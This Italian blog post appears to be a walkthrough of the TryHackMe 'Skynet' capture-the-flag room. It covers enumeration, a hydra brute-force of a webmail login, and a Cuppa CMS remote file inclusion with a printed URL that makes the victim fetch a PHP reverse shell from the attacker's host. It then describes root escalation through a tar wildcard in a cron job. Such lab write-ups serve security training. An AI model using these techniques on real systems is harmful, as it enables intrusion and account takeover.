In un periodo nel quale si parla spesso dei pericoli derivati dall’uso delle intelligenze artificiali divertiamoci con una stanza che piacerà ai fans di Terminator.
Link: https://tryhackme.com/room/skynet
Per risolvere questa stanza dobbiamo rispondere a queste 5 domande:
- 1)What is Miles password for his emails?
- 2)What is the hidden directory?
- 3)What is the vulnerability called when you can include a remote file for malicious purposes?
- 4)What is the user flag?
- 5)What is the root flag?
Partiamo come sempre con un attività di Port Scanning grazie a “nmap” per scoprire che sono aperte le porte:
- 22/tcp che ospita il protocollo SSH per l’accesso da remoto;
- 80/tcp abbiamo un web-server sul quale indagare;
- 110/tcp la porta per il protocollo POP3 utilizzato dai mail server;
- 139/tcp su questa porta è ospitato il protocollo netbios-ssn usato per la condivisione delle risorse di rete;
- 143/tcp questa porta ospita il protocollo per mail server, IMAP;
- 445/tcp ancora una porta per il protocollo di rete SMB usato per la condivisione delle risorse di rete.

Abbiamo un bel po’ da indagare, quindi procediamo con ordine. Non avendo le credenziali per accedere alla porta 22, cominciamo ad analizzare il web server ospitato alla porta 80/tcp. Né la pagina, né la sua sorgente danno particolari indizi, allora passiamo ad enumerare eventuali pagine nascoste con il tool “gobuster“:
- -dir è l’opzione da usare per indicare che vogliamo scoprire eventuali pagine nascoste;
- -u ci permette di fornire l’url da attaccare;
- –wordlist= fornisce il percorso del dizionario da utilizzare, in questo caso il dizionario common.txt fornito da seclists per l’analisi dei siti web.

Come possiamo vedere nell’immagine sopra esistono diverse pagine interessanti. Se tentiamo di visitarle solo la pagina “squirrelmail” risulta accessibile e ospita il form di login ad un servizio di mail. Mancandoci delle credenziali valide per potervi accedere tentiamo di verificare se esista qualche indizio nella sorgente della pagina, ma nulla da fare; proviamo allora a cercare in exploit-db.com se esista un exploit per attaccare questo servizio di posta; un secondo buco nell’acqua!
Lasciamo perdere per il momento il servizio di posta e la pagina web e concentriamoci sul servizi di condivisione. Per enumerarli useremo il tool “enum4linux“, sintassi banale scriviamo il comando seguito dall’IP della macchina da indagare.
Il risultato ci svela che esiste un utente “milesdyson“, un utente “nobody” e una directory “anonymous” che può essere visitata come utente anonymous. Lanciamo “smbclient” specificando:
- -U l’user da utilizzare per il login(anonymous);
- -N indica che non utilizzeremo una password.

La cartella condivisa “anonymous” contiene un file “attention.txt” che invita gli utenti a cambiare password a causa di un recente malfunzionamento, ma soprattutto una cartella “logs” dalla quale possiamo scaricare un file con delle password. Sembrerebbe un ottimo punto di partenza per tentare di connetterci via SSH attraverso un attacco a dizionario, purtroppo il tool “hydra” non produce un risultato incoraggiante: nessuna di queste password può essere usata per loggarsi via SSH.
Visto l’insuccesso proviamo ad usare “hydra” per violare l’account di posta in “squirrelmail“. La sintassi per la violazione è un pochino complicata:
- -l l’username da violare;
- -P indica il file contenente il dizionario da utilizzare;
- http-post-form definisce il metodo HTTP da usare per sottoporre le credenziali;
- la restante parte, racchiusa tra le virgolette, contiene l’indicazione della pagina da violare, le indicazioni utili per inserire, username e password, e infine il messaggio che si riceve in caso di login fallito, che serve al programma per sapere se ha effettivamente trovato una coppia di credenziali valide o meno.

In pochissimo tempo ci troviamo capaci di loggarci nell’app squirrelmail rispondendo anche alla prima domanda della stanza. A questo punto possiamo finalmente leggerne il contenuto della casella di mail. Due mail sembrano non portare a nulla, ma una ci svela la nuova password per la cartella condivisa tramite SMB “milesdyson“.

Il prossimo passo consiste nel usare nuovamente “smbclient“, questa volta omettendo l’opzione -N in modo tale che ci venga chiesta la password. Nella cartella possiamo trovare vari file poco interessanti e soprattutto una cartella “notes” che contiene il file “important.txt” che ci fornisce il nome della pagina nascosta utile per rispondere alla seconda domanda.

La pagina in se non sembra contenere nulla di interessante; proviamo allora ad utilizzare “gobuster” per vedere se esistono altre pagine nascoste dietro questo indirizzo e in effetti ecco che troviamo una nuova pagina “administrator” con un nuovo form per il login ad un CMS, Content Management System.
Per scrupolo proviamo ad utilizzare le credenziali trovate: un buco nell’acqua!
Facciamo allora qualche ricerca sul CMS Cuppa e scopriamo che ha una specifica vulnerabilità (domanda n°3) e cercando su exploit-db (https://www.exploit-db.com/exploits/25971) possiamo trovare anche un metodo per sfruttarla.
Lo schema di attacco offerto da questo exploit consiste nel forzare il CMS a scaricare un file .php che contiene una reverse shell, ossia una istruzione che fa partire una connessione verso la macchina dell’attaccante. Basterà visitare la pagina nel quale questo file.php è salvato perché venga eseguito.
Per prima cosa dobbiamo trovare una reverse shell in linguaggio php; la scelta è pentestmonkey. Copiamola in un file di testo, modifichiamo le variabili:
- $ip indichiamo l’IP della macchina attaccante;
- $port indichiamo la porta sulla quale vogliamo rimanere in ascolto.
Salviamola come file “.php”. A questo punto apriamo una sessione di “nc” in modalità ascolto (nc -lvnp port) e avviamo un web server in python sulla porta 8000 (python -m http.server 8000), poi seguendo le istruzioni presenti nell’exploit andiamo a visitare la pagina:
http://IP_vittima/cartella_nascosta/administrator/alerts/alertConfigField.php?urlConfig=http://IP_attaccante:8000/pentestmonkey.php
Sostituiamo:
- IP_Vittima = l’ip della macchina attaccata;
- cartella nascosta = nome della cartella alla domanda 2;
- IP_attaccante = l’ip che ospita il web server in python.
Visitando questo indirizzo obbligheremo la macchina attaccata a avviare la reverse shell ed ecco violata la macchina. Ora che siamo dentro navighiamo sino alla home del nostro utente miles per scoprire il contenuto del file “user.txt” (risposta n°4).

E’ il momento di partire con le attività di Privilege Escalation.
Curiosando nella macchina la prima cosa che notiamo è la presenza di una cartella “backups” che contiene lo script “backup.sh” che fa il backup della cartella /var/www/html con i privilegi di root. Controllando il file “crontab” nella cartella “etc” scopriamo che lo script viene lanciato ogni minuto.

Torniamo sullo script e analizziamolo. L’unica cosa che salta all’occhio è che lo script contiene un comando tar che si conclude con un wildcard(*). Le wildcard sono dei segni grafici che possono venire interpretati come altri caratteri e stringhe. Viene usata soprattutto nella ricerca di file; ad esempio se cerco *.txt il sistema mi restituirà i nomi di tutti i file che finiscono per .txt ossia file.txt, curriculum.txt e cosi via. Questa caratteristica delle wildcard le rende uno strumento prezioso, ma anche pericoloso perché può essere manipolata da un attaccante, come vedremo in questo caso. Cercando online si trova appunto un articolo che descrive come aprire una shell con i privilegi di root sfruttando la wildcard in un comando tar.
In estrema sintesi il comando tar sostituisce alla wildcard(*) il nome di ogni singolo file presente nella cartella e ne fa il backup. A prima vista non ci sarebbe nulla di pericoloso, non fosse che leggendo nel manuale del comando tar si scopre che esiste la possibilità di fargli eseguire delle istruzioni come possiamo vedere dall’immagine qui sotto. Ed è qui che cominciano i problemi per la presenza della wildcard potendo modificare il contenuto della cartella inserendo altri script che verranno avviati con i permessi di root.

A questo punto lo schema di attacco è presto fatto. Per prima cosa creiamo uno script che contenga e le istruzioni per iscrivere il nostro utente “www-data” nel gruppo “sudoers“, ossia gli utenti che possono lanciare i programmi come amministratori , in questo caso senza nemmeno inserire la password; creiamolo attraverso il comando “echo“. Fatto questo dopo andremo a creare due file che avranno per nome le istruzioni che il comando tar dovrà eseguire.

Basterà aspettare un minuto che venga eseguito il backup perché il comando tar venga tratto in inganno e ci permetta di assumere i privilegi di root come dimostrato dall’output del comando “sudo -l“.
Ora è sufficiente usare il comando “cat” preceduto da “sudo” per leggere il contenuto del file “root.txt” nella cartella “root“.

Il gioco è fatto!
Riflessioni di fine attacco: ovviamente bisogna evitare di lasciare in giro file che contengano informazioni sensibili come delle password, questo è chiaro, poi bisogna sempre applicare il principio del “privilegio minimo“; in questo caso evitando di far eseguire il backup con i privilegi di root si sarebbe reso inefficace ogni tentativo di sfruttare la wildcard presente nel comando tar.